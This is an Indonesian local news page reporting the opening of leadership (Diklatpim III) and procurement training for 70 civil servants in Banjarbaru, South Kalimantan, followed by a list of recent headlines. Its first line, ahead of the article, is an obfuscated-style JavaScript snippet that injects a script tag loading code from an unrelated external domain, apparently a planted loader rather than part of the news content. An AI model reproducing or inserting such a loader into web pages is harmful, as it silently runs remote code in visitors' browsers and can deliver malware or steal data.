(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Sekda Haris Makkie Berharap Diklatpim Lahirkan ASN Terampil


BANJARBARU, Sebanyak 40 Aparatur Sipil Negara (ASN) dari Pemerintah Provinsi, Kabupaten dan Kota se Kalsel, mengikuti Pendidikan dan Pelatihan Kepemimpinan (Diklatpim ) Tingkat III,  di  Badan Pendidikan Sumber Daya Manusia Daerah Kalsel, Banjarbaru,  Senin (27/8) pagi.

Pada  kegiatan pembukaan diklatpim oleh Sekretaris Daerah Provinsi Kalsel, Drs H Abdul Haris Makkie, MSi,   di ruangan yang sama juga digelar  Diklat Pengadaan Barang dan Jasa,  diikuti 30 orang pegawai dari Provinsi dan Kabupaten, Kota se Kalsel.

Abdul Haris  mengatakan,  peserta yang mengikuti Diklatpim III maupun  Pengadaan Barang dan Jasa adalah  orang-orang terpilih  sesuai jabatan dan kompetensi. Peserta diharapkan  aktif di dalam pembelajaran  untuk meningkatkan  kompetensi sesuai bidang tugas.

“Diklat ini menjadi media pembelajaran bagi seluruh peserta,  baik Diklatpim maupun Diklat Pengadaan Barang dan Jasa . Tujuannya  setelah mengikuti diklat, akan melahirkan ASN terampil sesuai keahlian amanah tugas ,”  terangnya.

Masih menurut  Haris,  setiap ASN, semestinya memahami  tata aturan dalam menjalankan profesinya. ASN mesti paham tentang etika organisasi, etika pemerintahan.  Tanpa kecuali memahami aturan-aturan yang mendasari kegiatan dalam berpemerintahan, seperti peraturan  pengadaan barang/jasa pemerintah.

Demikian pula pemahaman terhadap aturan tentang pengadaan barang/jasa pemerintah. Tata aturan itu  bukan hanya dipahami pejabat pengadaan, tetapi juga oleh pengguna anggaran, kuasa pengguna anggaran, pejabat pembuat komitmen dan pejabat pelaksana teknis kegiatan, karena hampir semua aktivitas kegiatan  di pemerintahan, berkaitan dengan pengadaan barang/jasa.

Pengajar diklat adalah dari  widyaiswara dan tenaga ahli lainnya. Diklatpim  III Angkatan XI dimulai 27 Agustus dan berakhir pada 7 Desember 2018, sedangkan Diklat pengadaan barang dan jasa akan berakhir pada 31 agustus 2018 mendatang. (rico)

Reporter; Rico
Editor: Chell

Desy Arfianty

Recent Posts

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

2 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

4 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

5 jam ago

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

5 jam ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

5 jam ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

17 jam ago

This website uses cookies.